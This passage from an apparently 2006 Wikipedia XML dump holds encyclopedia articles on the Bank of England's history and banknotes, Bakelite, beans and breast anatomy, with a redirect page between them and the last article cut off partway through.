The bank was founded by the [[Scotsman]] [[William Paterson (banker)|William Paterson]], in [[1694]] to act as the English government's banker.  He proposed a loan of £1.2m to the government; in return the subscribers would be incorporated as '''The Governor and Company of the Bank of England''' with banking privileges including the issue of notes. The [[Royal Charter]] was granted on [[July 27]] [[1694]]. Public finances were in so dire a condition at the time that the terms of the loan were that it was to be serviced at a rate of 8% per annum, and there was also a service charge of £4000 per annum for the management of the loan. The first governor was [[Knighthood|Sir]] [[John Houblon]], who is depicted in the £50 note issued in [[1990]].  The charter was renewed in [[1742]], [[1764]], and [[1781]].  The Bank was originally constructed above the ancient [[Temple of Mithras, London]] at Walbrook, dating to the founding of [[Londinium]] in antiquity by Roman garrisons.  [[Mithras]] was, among other things, considered the god of contracts, a fitting association for the Bank.  In [[1734]] the Bank moved to its current location on Threadneedle Street, slowly acquiring the land to create the edifice seen today.

When the idea and reality of the [[National Debt]] came about during the [[18th century]] this was also managed by the bank. By the [[charter]] renewal in [[1781]] it was also the bankers' bank&amp;mdash;keeping enough gold to pay its notes on demand until [[February 26]], [[1797]] when [[French Revolution|war]] had so diminished gold reserves that the government prohibited the Bank from paying out in gold. This prohibition lasted until [[1821]].

The [[1844]] [[Bank Charter Act]] tied the issue of notes to the gold reserves and gave the bank sole rights with regard to the issue of banknotes.  Private banks which had previously had that right retained it, provided that their headquarters were outside [[London]] and that they deposited security against the notes that they issued.  A few English banks continued to issue their own notes until the last of them was taken over in the [[1930s]].  The Scottish and Northern Irish private banks still have that right.  Britain remained on the [[gold standard]] until [[1931]] when the gold and foreign exchange reserves were transferred to the [[HM Treasury|Treasury]]. But their management was still handled by the Bank. In [[1870]] the bank was given responsibility for interest rate policy.

During the governorship of [[Montagu Norman]], which lasted from [[1920]] to [[1944]], the Bank made deliberate efforts to move away from [[commercial bank]]ing and become a central bank.  In [[1946]], shortly after the end of Norman's tenure, the bank was nationalised.

In 1997 the bank's Monetary Policy Committee was given sole responsibility for setting interest rates to meet the Government's stated [[inflation]] target of 2.5%. This decision was taken by the Chancellor of the Exchequer, [[Gordon Brown]] in consultation with Tony Blair prior to the [[United Kingdom general election, 1997|1997 general election]] though the announcement was made the day after the election. Should inflation overshoot or undershoot the target by more than 1%, the Governor will have to write a letter to the [[Chancellor of the Exchequer]] explaining why, and how he will remedy the situation. This was considered an astute move for several reasons:
* It removed the politically controversial responsibility from the government.
* It was very popular with the [[City of London]], showing a sign of the new government's desire for a strong economy.
** Following the announcement the [[FTSE 100 Index]] leapt rapidly.
** The [[Pound Sterling|pound]] reached its highest level against the [[Deutsche mark]] since Sterling's exit from the [[European Exchange Rate Mechanism|ERM]].
The target has now changed to 2% since the replacement of [[Retail price index|RPI]] (Retail Price Index) with [[Consumer price index|CPI]] (Consumer Price Index) as the treasury's inflation index. RPI / CPI figures are produced in Britain by the [[Office for National Statistics]], whose independence from direct political control and interference was announced in 2005, also by the Chancellor of the Exchequer, [[Gordon Brown]]. He modelled this move on his decision affecting the Bank of England.

A Conservative MP [[Nicholas Budgen]] had proposed this as a [[Private Member's Bill]] in 1996, but the bill failed as it had neither the support of the government nor the opposition.

In 2006 a sum in excess of £25 million in banknotes belonging to the bank was stolen from a depot in [[Tonbridge]], see [[Securitas depot robbery]].

==Banknote issues==
{{main|British banknotes}}
The Bank of England has issued banknotes since 1694. Notes were originally hand-written; although they were partially printed from [[1725]] onwards, cashiers still had to sign each note and make them payable to someone. Notes were fully printed from [[1855]], no doubt to the relief of the bank's workers. Until [[1928]] all notes were &quot;White Notes&quot;, printed in black and with a blank reverse. During the 20th century White Notes were issued in denominations between £5 and £1000, but in the 18th and 19th centuries there were White Notes for £1 and £2. In the twentieth century, the Bank issued notes for ten [[shilling]]s and one pound for the first time on [[22 November]] [[1928]] when the Bank took over responsibility for these denominations from the Treasury which had issued notes of these denominations three days after the declaration of [[World War I|war]] in [[1914]] in order to remove gold [[coin]]s from circulation.

During the [[World War II|Second World War]] the German [[Operation Bernhard]] attempted to counterfeit various denominations between £5 and £50 producing 500,000 notes each month in [[1943]]. The original plan was to parachute the money on Britain in an attempt to destabilise the British economy, but it was found more useful to use the notes to pay German agents operating throughout Europe -- although most fell into [[Allies|Allied]] hands at the end of the war, forgeries were frequently appearing for years afterward, so all denominations of banknote above £5 were subsequently removed from circulation.

All old Bank of England notes remain exchangeable for current notes forever. Forgeries however will be retained and destroyed by the Bank (including Bernhard notes), and it is not therefore advisable to send notes to the Bank in order to confirm whether or not they are forgeries. Notes can either be taken in person to the Bank in London during normal business hours, or sent by post at the sender's risk to:

:Exchanges,
:Custodial Services,
:Threadneedle Street,
:London  EC2R 8AH

===10/-===
The Bank of England's first ever ten shilling note was issued on [[22 November]] [[1928]]. This note featured a vignette of [[Britannia]], a feature of the Bank's notes since 1694. The predominant colour was red-brown. Unlike previous notes it, and the contemporaneous £1 note, were not dated but are instead identified by the signature of the Chief Cashier of the time. In 1940 a [[metal]] [[security thread]] was introduced for the first time, and the colour of the note was changed to mauve for the duration of the war. The original design of the note was replaced by the &quot;Series C&quot; design in 1960, when [[Queen (monarch)|Queen]] Elizabeth agreed to allow the use of her portrait on the notes. The ten shilling note was withdrawn following the introduction in 1969 of the [[British coin Fifty Pence|fifty pence]] coin.

===£1===

The Bank of England's first one pound note since 1845 was issued on [[22 November]] [[1928]]. This note featured a vignette of [[Britannia]], a feature of the Bank's notes since 1694. The predominant colour was green. Unlike previous notes it, and the contemporaneous ten shilling note, were not dated but are instead identified by the signature of the Chief Cashier of the time. In 1940 a metal security thread was introduced for the first time, and the colour of the note was changed to pink for the duration of the war. The original design of the note was replaced by the &quot;Series C&quot; design in 1960, when Queen Elizabeth agreed to allow the use of her portrait on the notes.
In 1977 the &quot;Series D&quot; design (''known as the &quot;Pictorial Series&quot;'') featuring Sir [[Isaac Newton]] on the reverse was issued, but following the introduction in 1983 of the [[British coin One Pound|One Pound]] coin, the note was withdrawn from circulation in Summer 1988.

===£5===

The first Bank of England £5 note was issued in 1793 in response to the need for smaller denomination banknotes to replace gold coin during the French Revolutionary Wars (previously the smallest note issued had been £10). The 1793 design, latterly known as the &quot;White Fiver&quot; (black printing on white paper), remained in circulation essentially unchanged until 1957 when the multicoloured (although predominantly dark blue) &quot;Series B&quot; note, depicting the helmeted [[Britannia]] was introduced. This note was replaced in turn in 1963 by the &quot;Series C&quot; £5 note which for the first time introduced the portrait of the monarch, Queen Elizabeth II, to the £5 note (the Queen's portrait having first appeared on the Series C ten shilling and one pound notes issued in 1960). In 1971 the &quot;Series D&quot; pictorial £5 note was issued, showing a slightly older portrait of the Queen and a battle scene featuring the [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]] on the reverse. On [[7 June]] [[1990]] the &quot;Series E&quot; £5 note, by now the smallest denomination issued by the Bank, was issued. The Series E note (''known as the &quot;Historical Series&quot;'') changed the colour of the denomination to a turquoise blue, and incorporated design elements to make photocopying and computer reproduction of the notes more difficult. Initially the reverse of the Series E £5 note featured the railway engineer [[George Stephenson]], but on [[21 May]] [[2002]] a new Series E note was produced featuring the prison reformer [[Elizabeth Fry]]. The initial printing of several million Stephenson notes was destroyed when it was noticed that the wrong year for his death had been printed. The original issue of the Fry banknote was withdrawn after it was found the ink on the serial number could be rubbed off the surface of the note.  The Stephenson £5 note was withdrawn as legal tender from [[21 October]] [[2003]], at which time it formed around 54 million of the 211 million £5 notes in circulation.

===£10===
[[Image:Bank_Of_England10.gif|right|250px|thumb|A &amp;pound;10 Bank of England note.]]
The first ten pound note was issued in 1759, when the Seven Years War caused severe gold shortages. Following the withdrawal of the denomination after the Second World War, it was not reintroduced until the Series C design of the mid 1960s produced the brown ten pound note. The Series D pictorial note appeared in the early 1970s, featuring nurse [[Florence Nightingale]] (1820-1910) on the reverse, plus a scene showing her work at the army hospital in [[Scutari]] during the [[Crimean War]]. This note was subsequently replaced in the early 1990s by the Series E note, where the predominant colour was changed from brown to orange. The reverse of the first Series E £10 featured [[Charles Dickens]] and a scene from the ''[[Pickwick Papers]]'' (this note was withdrawn from circulation in July 2003), while a second Series E note was issued in 2000 featuring [[Charles Darwin]], the ''[[HMS Beagle]]'', a hummingbird, and flowers under a magnifying glass, illustrating the ''[[Origin of Species]]''.

===£20===
[[Image:Bank_Of_England20.gif|right|250px|thumb|A &amp;pound;20 Bank of England note.]]
After the Second World War, the £20 denomination did not reappear until Series D in the early 1970s. The predominant colour of this denomination is purple. The reverse of the Series D £20 features a statue of [[William Shakespeare]] and the balcony scene from ''Romeo and Juliet''. In 1992 this note was replaced by the first Series E note, featuring the physicist [[Michael Faraday]] and the Royal Institution lectures. By 1999 this note had been extensively copied, and therefore it became the first denomination to be replaced by a second Series E design, featuring a bolder denomination figure at the top left of the obverse side, and a reverse side featuring the composer Sir [[Edward Elgar]] and Worcester Cathedral.

===£50===
The fifty pound denomination, much beloved of second hand car and antique dealers, did not reappear until 1981 when a Series D design was issued featuring the architect [[Christopher Wren]] and the plan of Saint Paul's Cathedral on the reverse of this large note. In 1990 this denomination saw the start of the Series E issue, when the Bank commemorated its own impending tercentenary by putting its first governor, Sir [[John Houblon]] on the reverse. The series E £50 saw the first use on Bank of England notes of a [[hologram]] on the note, a practice which has been extended to all the Bank's notes with the second issue of Series E notes.

===£1,000,000===
Bank notes issued by the banks in Scotland and Northern Ireland are required to be backed pound for pound by Bank of England notes. Due to the large number of notes issued by these banks it would be cumbersome and wasteful to hold Bank of England notes in the standard denominations. Special one million pound notes are used for this purpose. These are used only internally within the Bank and are never seen in circulation. [http://www.bankofengland.co.uk/banknotes/about/other_notes.htm]

==Chief Cashiers of the Bank of England==
*John Kendrick 1694
*Thomas Speed 1694-1699
*Thomas Madockes 1699-1739
*James Collier (jointly with Daniel Race) 1739-1751 
*Ellas Simes (jointly with Daniel Race) 1751-1759
*Daniel Race 1759-1775
*Charles Jewson 1775-1778
*Abraham Newland 1778-1807
*Henry Hase 1807-1829
*Thomas Rippon 1829-1835
*Matthew Marshall 1835-1864
*William Miller 1864-1866
*George Forbes 1866-1873
*Frank May 1873-1893
*Horace George Bowen 1893-1902
*John Gordon Nairne 1902-1918
*Ernest Musgrave Harvey 1918-1925
*C.Patrick Mahon 1925-1929
*Basil G. Catterns 1929-1934
*Kenneth O. Peppiatt 1934-1949
*Percival S. Beale 1949-1955
*Leslie K. O'Brien 1955-1962
*Jasper Q. Hollom 1962-1966
*John S. fforde 1966-1970
*John B. Page 1970-1980
*David H.F. Somerset 1980-1988
*G. Malcolm Gill 1988-1991
*Graham E.A. Kentfield 1991-1998
*Merlyn Lowther 1999-2003 ''(first woman to hold the post)''
*Andrew Bailey 2004 -

==Governors of the Bank of England==
*[[John Houblon|Sir John Houblon]] (1694-1697)
*[[William Scawen|Sir William Scawen]] (1697-1699)
*[[Nathaniel Tench]] (1699-1701)
*[[John Ward]] (1701-1703)
*[[Abraham Houblon]] (1703-1705)
*[[James Bateman|Sir James Bateman]] (1705-1707)
*[[Francis Eyles]] (1707-1709)
*[[Gilbert Heathcote|Sir Gilbert Heathcote]] (1709-1711)
*[[Nathaniel Gould]] (1711-1713)
*[[John Rudge]] (1713-1715)
*[[Peter Delme|Sir Peter Delme]] (1715-1717)
*[[Gerard Conyers|Sir Gerard Conyers]] (1717-1719)
*[[John Hanger]] (1719-1721)
*[[Thomas Scawen|Sir Thomas Scawen]] (1721-1723)
*[[Gilbert Heathcote|Sir Gilbert Heathcote]] (1723-1725)
*[[William Thompson]] (1725-1727)
*[[Humphry Morice]] (1727-1729)
*[[Samuel Holden]] (1729-1731)
*[[Edward Bellamy|Sir Edward Bellamy]] (1731-1733)
*[[Horatio Townshend]] (1733-1735)
*[[Bryan Benson]] (1735-1737)
*[[Thomas Cooke]] (1737-1740)
*[[Delillers Carbonnel]] (1740-1741)
*[[Stamp Brooksbank]] (1741-1743)
*[[William Fawkener]] (1743-1745)
*[[Charles Savage]] (1745-1747)
*[[Benjamin Longuet]] (1747-1749)
*[[William Hunt]] (1749-1752)
*[[Alexander Sheafe]] (1752-1754)
*[[Charles Palmer]] (1754-1756)
*[[Matthews Beachcroft]] (1756-1758)
*[[Merrik Burrell]] (1758-1760)
*[[Bartholomew Burton]] (1760-1762)
*[[Robert Marsh]] (1762-1764)
*[[John Weyland]] (1764-1766)
*[[Matthew Clarmont]] (1766-1769)
*[[William Cooper]] (1769-1771)
*[[Edward Payne]] (1771-1773)
*[[James Sperling]] (1773-1775)
*[[Samuel Beachcroft]] (1775-1777)
*[[Peter Gaussen]] (1777-1779)
*[[Daniel Booth]] (1779-1781)
*[[William Ewer]] (1781-1783)
*[[Richard Neave]] (1783-1785)
*[[George Peters]] (1785-1787)
*[[Edward Darell]] (1787-1789)
*[[Mark Weyland]] (1789-1791)
*[[Samuel Bosanquet]] (1791-1793)
*[[Godfrey Thornton]] (1793-1795)
*[[Daniel Giles]] (1795-1797)
*[[Thomas Raikes]] (1797-1799)
*[[Samuel Thornton]] (1799-1801)
*[[Job Mathew]] (1801-1802)
*[[Joseph Nutt]] (1802-1804)
*[[Benjamin Winthrop]] (1804-1806)
*[[Beeston Long]] (1806-1808)
*[[John Whitmore]] (1808-1810)
*[[John Pearse]] (1810-1812)
*[[William Manning]] (1812-1814)
*[[William Mellish]] (1814-1816)
*[[Jeremiah Harman]] (1816-1818)
*[[George Dorrien]] (1818-1820)
*[[Charles Pole]] (1820-1822)
*[[John Bowden]] (1822-1824)
*[[Cornelius Buller]] (1824-1826)
*[[John Baker Richards]] (1826-1828)
*[[Samuel Drewe]] (1828-1830)
*[[John Horsley Palmer]] (1830-1833)
*[[Richard Mee Raikes]] (1833-1834)
*[[James Pattison]] (1834-1837)
*[[Timothy Abraham Curtis]] (1837-1839)
*[[Sir John Rae Reid]] (1839-1841)
*[[Sir John Henry Pelly]] (1841-1842)
*[[William Cotton (banker)|William Cotton]] (1842-1845)
*[[John Benjamin Heath]] (1845-1847)
*[[William Robinson Robinson]] (April 1847-August 1847)
*[[James Morris]] (1847-1849)
*[[Henry James Prescot]] (1849-1851)
*[[Thomson Hankey]] (1851-1853)
*[[John Gellibrand Hubbard]] (1853-1855)
*[[Thomas Matthias Weguelin]] (1855-1857)
*[[Sheffield Neave]] (1857-1859)
*[[Bonamy Dobree]] (1859-1861)
*[[Alfred Latham]] (1861-1863)
*[[Kirkman Daniel Hodgson]] (1863-1865)
*[[Henry Lancelot Holland]] (1865-1867)
*[[Thomas Newman Hunt]] (1867-1869)
*[[Robert Wigram Crawford]] (1869-1871)
*[[George Lyall]] (1871-1873)
*[[Benjamin Buck Greene]] (1873-1875)
*[[Henry Hucks Gibbs]] (1875-1877)
*[[Edward Howley Palmer]] (1877-1879)
*[[John William Birch]] (1879-1881)
*[[Henry Riversdale Grenfell]] (1881-1883)
*[[John Saunders Gilliat]] (1883-1885)
*[[James Pattison Currie]] (1885-1887)
*[[Mark Wilks Collet]] (1887-1889)
*[[William Lidderdale]] (1889-1892)
*[[David Powell]] (1892-1895)
*[[Albert George Sandeman]] (1895-1897)
*[[Hugh Colin Smith]] (1897-1899)
*[[Samuel Steuart Gladstone]] (1899-1901)
*[[Augustus Prevost]] (1901-1903)
*[[Samuel Hope Morley]] (1903-1905)
*[[Alexander Falconer Wallace]] (1905-1907)
*[[William Middleton Campbell]] (1907-1909)
*[[Reginald Eden Johnston]] (1909-1911)
*[[Alfred Clayton Cole]] (1911-1913)
*[[Walter Cunliffe, Baron Cunliffe]] (1913-1918)
*[[Brien Ibrican Cokayne, 1st Baron Cullen of Ashbourne|Sir Brien Ibrican Cokayne]] (1918-1920)
*[[Montagu Collet Norman|Sir Montagu Collet Norman, 1st Baron Norman]], (1920-1944)
*[[Thomas Sivewright Catto, 1st Baron Catto]] (1944-1949)
*[[Cameron Fromanteel Cobbold, 1st Baron Cobbold]] (March 1949-[[30 June]] [[1961]])
*[[George Rowland Stanley Baring, 3rd Earl of Cromer]] ([[1 July]] [[1961]]-1966)
*[[Leslie Kenneth O'Brien|Sir Leslie O'Brien]] (1966-1973)
*[[Gordon Richardson]] (1973-1983)
*[[Robin Leigh-Pemberton]], [[Baron Kingsdown]] (1983-1993)
*[[Edward George|Sir Edward George]] (1993-[[30 June]] [[2003]])
*[[Mervyn Allister King]]  ([[1 July]] [[2003]]-)

==In fiction==
*In ''[[Around the World in Eighty Days]]'', [[Phileas Fogg]] is hunted around the world under the suspicion that he robbed the Bank of England.

==See also==

* [[Bank of England Museum]]
* [[Bank of Japan]]
* [[British coinage]]
* [[British banknotes]]
* [[European Central Bank]]
* [[Federal Reserve]]
* [[Pound Sterling]]
* [[UK topics]]

==External links==
{{Wiktionary}}
{{commonscat}}
*[http://www.bankofengland.co.uk/ Bank of England]
*[http://www.bankofengland.co.uk/about/legislation/1694act.pdf 1694 Act of Parliament founding the bank]

[[Category:Banks of the United Kingdom]]
[[Category:Economy of London]]
[[Category:City of London]]
[[Category:European System of Central Banks|England]]
[[Category:Political London]]
[[Category:Government of the United Kingdom]]
[[Category:1694 establishments]]

[[ar:بنك إنجلترا]]
[[de:Bank of England]]
[[fr:Banque d'Angleterre]]
[[he:בנק אנגליה]]
[[ja:イングランド銀行]]
[[no:Bank of England]]
[[ro:Banca Angliei]]
[[sv:Bank of England]]
[[uk:Англійський Банк]]</text>
    </revision>
  </page>
  <page>
    <title>Bakelite</title>
    <id>4485</id>
    <revision>
      <id>39141579</id>
      <timestamp>2006-02-10T23:50:36Z</timestamp>
      <contributor>
        <username>Stubblyhead</username>
        <id>543517</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bakelite''' is a [[brand name]]d material based on the [[thermosetting plastic|thermosetting]] [[phenol formaldehyde resin]] [[polyoxybenzylmethylenglycolanhydride]], developed in [[1907]]-[[1909]] by Dr. [[Leo Baekeland]]. Formed by the reaction under heat and pressure of [[phenol]] and [[formaldehyde]], generally with a wood flour filler, it was the first plastic made from synthetic polymers. It was used for its [[nonconductor|nonconductive]] and heat-resistant properties in radio and telephone casings and electrical [[insulators]].
[[image:Bakelit Struktur.png|thumb|right|300px|Structure of Bakelite]]
Due to its hardness and durability, it was considered as a material for making [[Penny (U.S. coin)|pennies]] in the United States during World War II, due to copper being needed for shell casings.  Several patterns were made in [[1942]], but steel was used instead in [[1943]] and recycled shell casings in [[1944]] and [[1945]].

Bakelite Corp. was formed in 1922 from General Bakelite Co., Condensite Corp. and [[Redmanol Chemical Products Company|Redmanol Co]].  The company was acquired by Union Carbide and Carbon Corp. in 1938.

Bakelite Limited was formed in [[1927]] from the amalgamation of three suppliers of phenol formaldehyde materials: the Damard Lacquer Company Limited of [[Birmingham]]; Mouldensite Limited of Darley Dale and Redmanol Limited of [[London]]. Around [[1928]], A new factory opened in [[Tyseley]], Birmingham in September [[1931]]. It was demolished in [[1998]].

[[Phenolics]] are little used in general consumer products today due to the cost and complexity of production and their brittle nature. An exception to the overall decline is the use in small precision-shaped components where their specific properties are required, such as molded disc brake cylinders, saucepan handles, electrical plugs and switches, and electrical iron parts. 

The [[retro]] appeal of old Bakelite products, especially [[kitchenware]] and [[toys]], has made them quite collectible in recent years: A quick search of, for example, [[eBay]] turns up hundreds of listings for all things Bakelite, ranging from radios to poker chips to telephones.     
[[image:rotor.jpg|thumb|right|200px|Bakelite [[distributor]] rotor]]

==Patents==

* '''{{US patent|942809}}''' -- ''Condensation product and method of making same''

== See also ==
*[[phenol formaldehyde resin]]

==External links==
*[http://www.bakelitmuseum.de Bakelite: The Material of a Thousand Uses]

[[Category:Plastics]]
[[Category:Companies from Birmingham, England]]

[[de:Bakelit]]
[[es:Baquelita]]
[[fr:Bakélite]]
[[it:Bachelite]]
[[nl:Bakeliet]]
[[pl:Bakelit]]
[[pt:Baquelite]]
[[fi:Bakeliitti]]
[[sv:Bakelit]]</text>
    </revision>
  </page>
  <page>
    <title>Buckyball</title>
    <id>4486</id>
    <revision>
      <id>15902752</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fullerene]]
</text>
    </revision>
  </page>
  <page>
    <title>Bean</title>
    <id>4487</id>
    <revision>
      <id>41895066</id>
      <timestamp>2006-03-02T12:53:02Z</timestamp>
      <contributor>
        <username>Mig77</username>
        <id>931812</id>
      </contributor>
      <minor />
      <comment>/* External links */ rm spam</comment>
      <text xml:space="preserve">:''This article is on the plant. For alternate meanings, see [[Bean (disambiguation)]]''

[[Image:Heaps of beans.jpg|thumb|250px|Green beans]]

'''Bean''' is a common name for large plant [[seed]]s of several [[genus|genera]] of [[Fabaceae]] (formerly Leguminosae) used for food or feed.


== Name ==
''Bean'' originally meant the seed of the [[Vicia faba|broad bean]], but was later broadened to include members of the genus ''[[Phaseolus]]'' such as the [[common bean]] or haricot and the [[runner bean]] and the related genus ''[[Vigna]]''. The term is now applied in a general way to many other related plants such as [[soybean]]s, [[pea]]s, [[lentil]]s, [[vetch]]es and [[lupin]]s.  

Some raw beans, for example kidney beans, contain harmful toxins which need to be removed, usually by various methods of soaking and cooking. The soaking water from kidney beans should be discarded before boiling, and some authorities recommend changing the water during cooking as well. Cooking beans in a crockpot, because of the lower temperatures used, does not destroy toxins even though the beans do not smell or taste 'bad'.  Beans have been known to produce prodigious quantities of intestinal gas in some people; resulting in pronouced [[flatulence]].

[[Image:Beans.jpg|right|200px|thumb|Dry beans]]
''Bean'' can be used as a near synonym of [[pulse (legume)|pulse]], ''i.e.'' an edible [[legume]], though the term &quot;pulses&quot; is usually reserved for those leguminous crops which are harvested for their dry grain. Pulses then exclude those crops mainly used for oil extraction (like [[soybean]] and [[peanut]]) or those used exclusively for sowing purposes ([[clover]] and [[alfalfa]]). Leguminous crops harvested green for food like snap beans, green peas etc. are classified as vegetable crops. 

In English usage beans sometimes also refer to seeds or other organs of non ''leguminosae'', for example [[coffee]] beans, [[castor bean]]s and [[cacao|cocoa bean]]s (which resemble bean seeds), and [[Vanilla|vanilla beans]] (which resemble the pods).

== Types of beans ==
* ''[[Vicia]]''
** ''V. faba'' or [[Vicia faba|broad bean]]
* ''[[Vigna]]''
**''V. aconitifolia'' or [[Moth bean]]
** ''V. angularis'' or [[azuki bean]]
** ''V. mungo'' or [[Urd bean]]
** ''V. radiata'' or [[mung bean]]
** ''V. umbellatta'' or [[rice bean]]
** ''V. unguiculata'' or [[cowpea]] (includes the [[black-eyed pea]], [[yardlong bean]] and others)
** several others
* ''[[Cicer]]''
** ''C. arietinum'' or [[chickpea]]
* ''[[Pisum]]''
** ''P. sativum'' or [[pea]]
* ''[[Lathyrus]]
** ''[[Lathyrus sativus]]'' (Indian pea)
** ''[[Lathyrus tuberosus]]'' (Tuberous pea)
* ''[[Lens (genus)|Lens]]''
** ''L. culinaris'' or [[lentil]]
* ''[[Lablab]]''
** ''L. purpureus'' or [[hyacinth bean]]
* ''[[Phaseolus]]''
** ''P. acutifolius'' or [[tepary bean]]
** ''P. coccineus'' or [[runner bean]]
** ''P. lunatus'' or [[lima bean]]
** ''P. vulgaris'' or [[common bean]] (includes the pinto bean, kidney bean and many others)
* ''[[Glycine (plant)|Glycine]]''
** ''G. max'' or [[soybean]]
* ''[[Psophocarpus]]''
** ''P. tetragonolobus'' or [[winged bean]]
* ''[[Cajanus]]''
** ''C. cajan'' or [[pigeon pea]]
* ''[[Stizolobium]]''
** ''S. spp'' or [[velvet bean]]
* ''[[Cyamopsis]]''
** ''C. tetragonoloba'' or [[guar]]
* ''[[Canavalia]]''
** ''C. ensiformis'' or [[jack bean]]
* ''[[Macrotyloma]]''
** ''M. uniflorum'' or [[horse gram]]
* ''[[Lupinus]]'' or Lupin
** ''[[Lupinus mutabilis|L. mutabilis]]'' or tarwi
* ''[[Erythrina]]'' or [[Coral bean]]

==Cultural aspects==
The following traditional uses of beans refer to the [[Vicia faba|broad bean]].

*In ancient [[Greece]] and [[Rome]], beans were used in voting (a white bean meant ''yes'' and a black bean meant ''no'') and as a food for the dead, such as during the annual [[Feast of the Lemures|Lemuria]] festival.

*In some folk legends, such as in [[Estonia]] and the common [[Jack and the Beanstalk]] story, magical beans grow tall enough to bring the hero to the clouds.  The [[Grimm Brothers]] collected a story in which a bean splits its sides laughing at the failure of others.

*Dreaming of a bean is sometimes said to be a sign of impending conflict, though others said they caused bad dreams.

*[[Pliny the Elder|Pliny]] claimed that beans act as a [[laxative]] (A possible reference to the [[Castor Bean]]).

*European folklore also claims that planting beans on [[Good Friday]] or during the night-time is good luck.

*&quot;[[Beans Beans the Magical Fruit...]]&quot; is a children's song about beans' capacity for causing [[flatulence]].

==External links==
* [http://growingtaste.com/vegetables/bean.shtml Beans for the home gardener]
* [http://americanhistory.si.edu/archives/d8683.htm Everett H. Bickley Collection, 1919-1980]  Archives Center, National Museum of American History, Smithsonian Institution.
* [http://www.discovery.com/area/skinnyon/skinnyon970815/skinnyon.html Why eating beans causes gas]

== See also ==
*[[pulse (legume)|Pulses]]
*[[List of edible seeds]]
*[[Baked beans]]

[[Category:Beans|*]]
[[Category:lists of foods|Bean]]

[[de:Bohne (Pflanze)]]
[[fr:Haricot]]
[[ko:콩]]
[[nl:Boon]]
[[ja:豆]]
[[pl:Fasola (warzywo)]]
[[pt:Feijão]]
[[sl:Fižol]]
[[zh:豆类]]</text>
    </revision>
  </page>
  <page>
    <title>Breast</title>
    <id>4489</id>
    <revision>
      <id>42041528</id>
      <timestamp>2006-03-03T11:39:33Z</timestamp>
      <contributor>
        <ip>89.57.167.146</ip>
      </contributor>
      <comment>ilo moved to lower position</comment>
      <text xml:space="preserve">The term '''''breast''''', also known by the [[Latin]] '''''mamma''''' in [[anatomy]], refers to the upper ventral region of an animal's [[torso]], particularly that of [[mammal|mammals]], including [[human|human beings]]. In addition, the '''breasts''' are parts of a female mammal's body which contain the [[organ (anatomy)|organs]] that secrete [[milk]] used to feed [[infant]]s.

This article focuses on [[human anatomy | human]] [[female]] breasts, but it should be noted that [[man|male]] humans also have breasts (although usually less prominent) that are structurally identical and [[homologous]] to the female, as they develop [[embryology|embryologically]] from the same tissues. While the [[Mammary gland|mammary glands]] that produce milk are present in the male, they normally remain undeveloped. In some situations male breast development does occur, a condition called [[gynecomastia]].  Milk production can also occur in both men and women as an [[Adverse effect (medicine)|adverse effect]] of some medicinal [[medication|drugs]] (such as some [[antipsychotic]] medication) or in endocrine disorders. 

==Anatomy of the female breast==
[[Image:illu_breast_anatomy.jpg|thumb|right|200px|Cross section of the breast of a human female.]]
The breasts are covered by [[skin]]; each breast has one [[nipple]] surrounded by the [[areola]]. The areola is colored from pink to dark brown, hairless, and has several [[sebaceous gland]]s. The larger [[mammary gland]]s within the breast produce the milk; they consist of several ''lobules'', and each breast has some 10-20 ''lactiferous ducts'' that drain milk from the lobules to the nipple, where each duct has its own opening, 

Most of the breast is [[connective tissue]], i.e., [[adipose tissue]] (fat) and [[Cooper's ligaments]]. The breasts sit over the [[pectoralis major]] muscle and usually extend from the level of the 2nd rib to the level of the 6th rib [[Anatomical terms of location|anteriorly]]. The [[Anatomical terms of location|superior lateral]] quadrant of the breast extends diagonally upwards in an '[[axillary tail]]'. A thin layer of [[mammary tissue]] extends from the [[clavicle]] above to the seventh or eighth ribs below and from the midline to the edge of the [[latissimus dorsi]] [[Anatomical terms of location|posteriorly]].

The [[artery|arterial]] [[blood]] [[Circulatory system|supply]] to the breasts is derived from the [[internal thoracic artery]] (previously referred to as the ''internal mammary artery''), [[lateral thoracic artery]], [[thoracoacromial artery]], and [[posterior intercostal arteries]].  The [[vein|venous]] drainage of the breast is mainly to the [[axillary vein]], but there is some drainage to the [[internal thoracic vein]].

The breast is [[Peripheral nervous system|innervated]] by the anterior and lateral cutaneous branches of the 4th through 6th intercostal [[nerve]]s. The nipple is supplied by the T4 [[dermatomic area|dermatome]].

Both sexes have a large concentration of [[blood vessel]]s and [[nerve]]s in their [[nipple]]s. 

===Lymphatic drainage ===
About 75% of [[lymph]] from the breast travels to the [[Wiktionary:ipsilateral|ipsilateral]] axillary [[lymph node]]s. The rest travels to parasternal nodes, to the other breast, or abdominal lymph nodes. The axillary nodes include the pectoral, subscapular, and humeral groups of [[lymph]] nodes. These drain to the central axillary lymph nodes, then to the apical axillary lymph nodes. The lymphatic drainage of the breasts is particularly relevant to [[oncology]], since [[cancer]] cells can break away from a [[tumour]] ([[breast cancer]] being a common cancer), and spread to other parts of the body through the lymph system by a process known as [[metastasis|metastasis]].

==Function==
The function of the [[mammary gland]]s in female breasts is to nurture the young by producing [[milk]], which emanates from the [[nipple]]s during [[lactation]]. However, [[zoologists]] point out that no female [[mammal]] other than the human has breasts of comparable size when not lactating and that humans are the only [[primate]] that have permanently swollen breasts. This suggests that the external form of the breasts is connected to factors other than lactation alone.

The mammary glands that secrete the milk from the breasts actually make up a relatively small fraction of the overall breast tissue. It is commonly assumed by biologists that the real [[Human evolution|evolutionary]] purpose of women having breasts is to attract the male of the species; that, in other words, breasts are a sexually dimorphic, or [[secondary sex characteristic]]s. One theory is based around the fact that, unlike nearly all other primates, human females do not display clear, physical signs of [[ovulation]]. This could have plausibly resulted in human males evolving to respond to more subtle signs of ovulation. During ovulation, the increased [[estrogen]] present in the female body results in a slight swelling of the breasts, which then males could have evolved to find attractive. In response, there would be evolutionary pressures that would favor females with more swollen breasts who would, in a manner of speaking, appear to males to be the most likely to be ovulating.

Some biologists (notably [[Desmond Morris]]) believe that the shape of female breasts evolved as a frontal counterpart to that of the [[buttocks]], the reason being that whilst other primates mate in the typical piggy-back position, humans are more likely to successfully [[copulate]] mating face on. A secondary sexual characteristic on a woman's chest would have encouraged this in more primitive incarnations of the human race, and a face on encounter would have helped found a relationship between partners beyond merely a sexual one.

